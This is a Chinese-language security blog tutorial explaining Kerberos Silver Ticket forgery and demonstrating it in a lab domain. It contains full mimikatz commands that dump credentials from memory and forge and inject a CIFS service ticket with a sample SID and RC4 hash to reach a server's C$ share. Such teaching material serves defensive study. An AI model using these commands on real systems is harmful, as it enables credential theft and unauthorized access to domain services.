目录
0x01 介绍
0x02 白银票据利用
0x01 介绍
在之前的文章中,我们详细探讨了Kerberos认证的流程,现在我们将深入讨论如何利用这一流程,特别是关于白银票据伪造(Silver Tickets)的技术。白银票据伪造主要利用了Kerberos认证的第三个步骤,在这个步骤中,客户端会携带ticket向服务器的某个服务发起请求。如果验证通过,客户端即可访问服务器上的特定服务。ticket的格式如下:
Server hash(server session key + client info + end time)
其中,client info是我们已知的,end time可以根据当前时间进行伪造,server session key由TGS生成。在ticket发送给服务器之前,服务器并不知道server session key的具体内容。因此,只要我们掌握了server hash,就可以访问服务器中的特定服务。
实际上,这种方法更像是一种后门,当我们拥有server hash时,可以随时向服务器发起请求。
总结白银票据攻击的特点如下:
- 不需要与KDC进行交互
- 需要服务器的NTLM hash
0x02 白银票据利用
我们将通过文件共享的方式来验证白银票据的利用。首先,尝试访问\\WIN7-SERVER.zhujian.com\c$,发现需要输入密码才能连接。

接着,我们使用mimikatz从服务器中导出hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

成功获取了hash和其他相关信息。

然后回到客户端,使用mimikatz伪造票据,命令如下:
mimikatz "kerberos::golden /domain: /sid: /target: /service: /rc4:/user: /ptt" exit
相关信息的获取如下:

注意,SID不需要填写最后的-500。目标服务器的主机名应使用完整名称:

服务类型可从以下选项中选择,由于没有TGT来不断申请ticket,我们只能针对特定服务进行伪造:

用户名可以任意填写,因为在数据传输到服务器之前,服务器并不知道用户名。对于传输流程不熟悉的读者,可以参考《Windows认证 | 域认证》。
最终,我们得到的命令如下:
mimikatz.exe "kerberos::golden /domain:zhujian.com /sid:S-1-5-21-829259175-2571685386-1296789624 /target: WIN7-SERVER.zhujian.com /service:cifs /rc4:e467173f3c80e9f23084396625486f60 /user: secquan /ptt" exit

再次进行测试:

成功访问了服务器。
如果对Windows认证感兴趣,可以阅读以下文章进行学习:《Windows认证 | Windows本地认证》、《Windows认证 | 网络认证》、《Windows认证 | 域认证》、《SPN扫描》、《Kerberoasting攻击》。
推荐阅读:
- 离线破解Navicat密码
- php-fpm在nginx特定环境下的任意代码执行漏洞(CVE-2019-11043)
- Linux权限详解
- Linux文件查找命令详解
- Linux重定向及反弹shell详解
如果本文对你有帮助,请点击“在看”或转发,这对我是一种支持。










